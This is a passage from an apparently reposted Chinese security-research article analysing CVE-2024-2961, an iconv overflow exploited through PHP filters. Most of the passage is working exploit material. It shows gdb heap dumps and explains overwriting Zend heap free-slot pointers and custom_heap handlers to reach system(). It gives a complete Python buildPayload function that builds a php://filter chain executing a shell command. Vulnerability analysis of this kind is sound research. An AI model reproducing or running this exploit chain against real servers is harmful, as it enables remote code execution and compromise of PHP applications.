set $phpheap = (struct _zend_mm_heap *) 0x7ffff5200040
p $phpheap->free_slot[15]
end
pwndbg> freeslot
$2 = (zend_mm_free_slot *) 0x7ffff528b200
pwndbg> x/32gx 0x7ffff528b200
0x7ffff528b200: 0x00007ffff528b300 0x0000000000000000
0x7ffff528b210: 0x0000000000000000 0x0000000000000000
0x7ffff528b220: 0x0000000000000000 0x0000000000000000
0x7ffff528b230: 0x0000000000000000 0x0000000000000000
0x7ffff528b240: 0x0000000000000000 0x0000000000000000
0x7ffff528b250: 0x0000000000000000 0x0000000000000000
0x7ffff528b260: 0x0000000000000000 0x0000000000000000
0x7ffff528b270: 0x0000000000000000 0x0000000000000000
0x7ffff528b280: 0x0000000000000000 0x0000000000000000
0x7ffff528b290: 0x0000000000000000 0x0000000000000000
0x7ffff528b2a0: 0x0000000000000000 0x0000000000000000
0x7ffff528b2b0: 0x0000000000000000 0x0000000000000000
0x7ffff528b2c0: 0x0000000000000000 0x0000000000000000
0x7ffff528b2d0: 0x0000000000000000 0x0000000000000000
0x7ffff528b2e0: 0x0000000000000000 0x0000000000000000
0x7ffff528b2f0: 0x0000000000000000 0x2a241b0000000000
pwndbg>
0x7ffff528b300: 0x00007ffff528b148 0x4242424242424242
0x7ffff528b310: 0x4242424242424242 0x4242424242424242
从上面的内存布局可以看出，程序已经按照我们的设想触发漏洞，溢出覆盖了free_slots的指针。
2.3.3.4 最终利用
最终的利用思路我们参考了公开的PoC中的利用思路，即控制_zend_mm_heap结构体中的custom_heap。但是，该利用思路有个前置条件，需要将_zend_mm_heap->use_custom_heap设置为非0值。此外，我们不能仅仅修改custom_heap._free，还需要同时设置custom_heap._malloc和custom_heap._realloc。因为当_zend_mm_heap->use_custom_heap非0时，这三个函数皆会调用其custom函数。
基于之前的利用思路，我们的利用链要修改/新增以下步骤（这里需要注意，libc地址和php的_zend_mm_heap地址都为已知信息。）：
- 因为
0x7ffff528b300指向了0x7ffff528b148，所以我们需要控制该地址，恰好0x7ffff528b100是第一步中申请到的第一个堆，所以我们需要让step1_malloc_step2_free指向_zend_mm_heap段的地址。 _zend_mm_heap的地址为0x7ffff5200040，我们利用的堆的大小为0x100，从0x7ffff5200050开始，0x100的大小，可以覆盖到所有的free_slot。所以，我们让0x7ffff528b148指向0x7ffff5200050。- 我们需要申请三个堆，把
0x200->0x300->0x148这三个堆分配出来。这个时候free链表头为：0x7ffff5200050。 - 申请一个堆，这个堆的地址为：
0x7ffff5200050，写入我们需要控制的值。首先把size位设置为0x200000，free_slot只设置0x140和0x18的地址，其他皆为0。0x140的堆指向0x7ffff5200040，用来设置use_custom_heap，0x18的堆指向0x7ffff5200040 + 0x168，用来设置custom_heap。这里为什么设置0x140的堆呢？这个值是可以变化的，在这里参考了公开PoC中的定义cmd的命令长度为0x140，如果命令长度不够，则用填充到0x140的长度。 - 写入
use_custom_heap和custom_heap的值。 - 写入需要执行的命令字符串，当该堆释放的时候，就会调用system执行指定命令。
这里需要注意，执行的命令建议加上kill -9 $PPID;，否则所有堆里的数据都会被当成命令去执行一遍。
根据以上思路，编写buildPayload函数，代码如下所示：
defchunked_add_bad_data(data: bytes, badData: bytes, totalsize: int)->bytes:'''php处理dechunk的时候有一个问题，首先判断长度，只处理0-9, A-F,a-f这些字符。如果判断非这些字符，就会判断为处理长度结束，接着会判断下一个字符是否是r或者n，如果不是则跳过。这让我们可以在长度和n之间注入其他字符，这些字符有以下要求，开始的值不能为十六进制，中间不能含有n或者r。一个示例：b'00000010........x00Ax00x00x00x00x00x00AAAAAAn000008nAAAAAAAAnn'这样往堆的0x10地址注入了0x4100不过这种方案限制比较大，如果php的_zend_mm_heap地址包含0x0a或者0x0d，就不能用了'''dataSize = len(data)chunk =f"{dataSize:x}".rjust(8,"0")chunk = chunk.encode() +b"."*8+ badDataend =b"n"+ data +b"n"chunk +=b"A"* (totalsize - len(chunk) - len(end))chunk += endassertlen(chunk) == totalsizereturnchunk
def buildPayload() -> str:
'''
我们把一次处理dechunk + convert.iconv.的过程算一步
'''
heapSize = 0x100
BUG = "劄".encode("utf-8")
# _zend_mm_heap基地址
zend_heap_base = 0x7ffff5200040
# 第一步申请0x100的堆，第二步释放
# 第三次dechunk，长度小于0x100
step1_malloc_step2_free = chunked_add_bad_data(b"A" * 8, p64(zend_heap_base + 0x10) * 10, 0xA0)
# 第二次dechunk，长度小于0x100
step1_malloc_step2_free = chunked_chunk(step1_malloc_step2_free, heapSize)
# 第一次dechunk，长度等于0x100
step1_malloc_step2_free = compressed_bucket(step1_malloc_step2_free)
# 第二步申请0x100的堆，第三步释放
step2_malloc_step3_free = b"B" * 0x20
# 第三次dechunk，长度小于0x100
step2_malloc_step3_free = chunked_chunk(step2_malloc_step3_free, heapSize)
# 第二次dechunk，长度等于0x100
step2_malloc_step3_free = chunked_chunk(step2_malloc_step3_free)
# 第一次dechunk，长度大于0x100
step2_malloc_step3_free = compressed_bucket(step2_malloc_step3_free)
# 第三步触发bug
step3_trigger_bug = (0x100 - len(BUG)) * b"x00" + BUG
# 确保长度为0x100
assert len(step3_trigger_bug) == 0x100
# 第三次dechunk，长度等于0x100
step3_trigger_bug = chunked_chunk(step3_trigger_bug)
# 第二次dechunk，长度大于0x100
step3_trigger_bug = chunked_chunk(step3_trigger_bug)
# 第一次dechunk，长度大于0x100
step3_trigger_bug = compressed_bucket(step3_trigger_bug)
# 第三次dechunk, 0n
step3_trailer_chunk = b"0n".ljust(0x48, b"x00") + p64(zend_heap_base + 0x10)
step3_trailer_chunk += b"x00" * (heapSize - len(step3_trailer_chunk))
# 第二次dechunk，长度等于0x100
step3_trailer_chunk = chunked_chunk(step3_trailer_chunk)
# 第一次dechunk，长度大于0x100
step3_trailer_chunk = compressed_bucket(step3_trailer_chunk)
step4_write_zend_heap = ptr_bucket(
0x200000,
0,
# free_slot
0,
0,
zend_heap_base + 0x168, # 0x18
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
zend_heap_base, # 0x140
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
size=0x100,
)
step4_write_zend_heap = chunked_chunk(step4_write_zend_heap)
step4_write_zend_heap = chunked_chunk(step4_write_zend_heap)
step4_write_zend_heap = compressed_bucket(step4_write_zend_heap)
mallocAddr = 0x7ffff7568120
systemAddr = 0x7ffff7513d60
reallocAddr = 0x7ffff75687c0
step4_write_custom_heap = ptr_bucket(
mallocAddr, systemAddr, reallocAddr, size=0x18
)
step4_write_custom_heap = chunked_chunk(step4_write_custom_heap)
step4_write_custom_heap = chunked_chunk(step4_write_custom_heap)
step4_write_custom_heap = compressed_bucket(step4_write_custom_heap)
step4_use_custom_heap_and_cmd = b"kill -9 $PPID; ls -alF"
step4_use_custom_heap_and_cmd = step4_use_custom_heap_and_cmd.ljust(0x140, b"x00")
step4_use_custom_heap_and_cmd = qpe(step4_use_custom_heap_and_cmd)
step4_use_custom_heap_and_cmd = chunked_chunk(step4_use_custom_heap_and_cmd)
step4_use_custom_heap_and_cmd = chunked_chunk(step4_use_custom_heap_and_cmd)
step4_use_custom_heap_and_cmd = compressed_bucket(step4_use_custom_heap_and_cmd)
pages = (
step4_write_zend_heap * 4 +
step4_write_custom_heap +
step4_use_custom_heap_and_cmd +
step1_malloc_step2_free * 3 +
step2_malloc_step3_free * 2 +
step3_trigger_bug
)
resource = compress(pages)
resource = base64.b64encode(resource)
resource = f"data:text/plain;base64,{resource.decode()}"
filters = [
# zlib解压缩
"zlib.inflate",
# 第一步
"dechunk",
"convert.iconv.latin1.latin1",
# 第二步
"dechunk",
"convert.iconv.latin1.latin1",
# 第三步触发漏洞
"dechunk",
"convert.iconv.UTF-8.ISO-2022-CN-EXT",
# 第四步，写入数据然后执行命令
"convert.quoted-printable-decode",
"convert.iconv.latin1.latin1",
]
filters = "|".join(filters)
path = f"php://filter/read={filters}/resource={resource}"
return path
注意，因为提供的地址都是使用gdb调试时的地址，因此上面的Payload只能在调试状态下成功执行命令。
3 总结
经过自行调试和分析后发现，公开的PoC已经非常完善了，利用链无法进一步优化，并且已经进行了两次zlib压缩，能把payload压缩到非常短。
虽然目前公开的只有对PHP进行利用的PoC，但是iconv漏洞的影响面仍非常广泛，后续将继续对iconv的使用面进行研究，以确定是否还有其他应用受到了该漏洞的影响。
4 参考链接
原文始发于微信公众号（白帽子）：原创 Paper | CVE-2024-2961 漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
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